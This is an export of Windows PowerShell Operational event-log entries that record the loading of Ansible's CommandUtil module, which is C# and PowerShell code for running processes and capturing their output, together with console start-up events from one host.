bGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIg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kIHN0ZGluIHBpcGVzIHVzZWQgaW4gdGhlIHByb2Nlc3MgYW5kIGFkZCB0byB0aGUgc3RhcnR1cEluZm8KICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgc3Rkb3V0X3Jl
ScriptBlock ID: b6786078-aab0-446d-a77a-33582317a2e4
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2024 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4840 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-7f0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2023 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4956 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-7d0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4952 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2022 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4816 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-7d0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2021 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4952 | 4956 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:07 AM | 61e00a24-ee3b-0005-7d0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2020 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4196 | 4200 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:00 AM | 61e00a24-ee3b-0003-bb0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4196 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2019 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4196 | 4480 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:00 AM | 61e00a24-ee3b-0003-bb0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2018 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4196 | 4200 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:00 AM | 61e00a24-ee3b-0003-bb0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = 2c98c593-db96-43a8-a854-6df399b09c46
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 325848b4-8380-40c8-9058-7d36417657ed
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2017 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 3892 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:00 AM | 61e00a24-ee3b-0003-ba0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}
"@
$ErrorActionPreference = 'Stop'
Function Load-CommandUtils {
# makes the following static functions available
# [Ansible.CommandUtil]::ParseCommandLine(string lpCommandLine)
# [Ansible.CommandUtil]::SearchPath(string lpFileName)
# [Ansible.CommandUtil]::RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, string environmentBlock)
#
# there are also numerous P/Invoke methods that can be called if you are feeling adventurous
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $process_util
$env:TMP = $original_tmp
}
Function Get-ExecutablePath($executable, $directory) {
# lpApplicationName requires the full path to a file, we need to find it
# ourselves.
# we need to add .exe if it doesn't have an extension already
if (-not [System.IO.Path]::HasExtension($executable)) {
$executable = "$($executable).exe"
}
$full_path = [System.IO.Path]::GetFullPath($executable)
if ($full_path -ne $executable -and $directory -ne $null) {
$file = Get-Item -Path "$directory\$executable" -Force -ErrorAction SilentlyContinue
} else {
$file = Get-Item -Path $executable -Force -ErrorAction SilentlyContinue
}
if ($file -ne $null) {
$executable_path = $file.FullName
} else {
$executable_path = [Ansible.CommandUtil]::SearchPath($executable)
}
return $executable_path
}
Function Run-Command {
Param(
[string]$command, # the full command to run including the executable
[string]$working_directory = $null, # the working directory to run under, will default to the current dir
[string]$stdin = $null, # a string to send to the stdin pipe when executing the command
[hashtable]$environment = @{} # a hashtable of environment values to run the command under, this will replace all the other environment variables with these
)
# load the C# code we call in this function
Load-CommandUtils
# need to validate the working directory if it is set
if ($working_directory) {
# validate working directory is a valid path
if (-not (Test-Path -Path $working_directory)) {
throw "invalid working directory path '$working_directory'"
}
}
# lpApplicationName needs to be the full path to an executable, we do this
# by getting the executable as the first arg and then getting the full path
$arguments = [Ansible.CommandUtil]::ParseCommandLine($command)
$executable = Get-ExecutablePath -executable $arguments[0] -directory $working_directory
# run the command and get the results
$command_result = [Ansible.CommandUtil]::RunCommand($executable, $command, $working_directory, $stdin, $environment)
return ,@{
executable = $executable
stdout = $command_result.StandardOut
stderr = $command_result.StandardError
rc = $command_result.ExitCode
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: eeaa2ec3-12b0-4950-876a-bf42bcb1a5d0
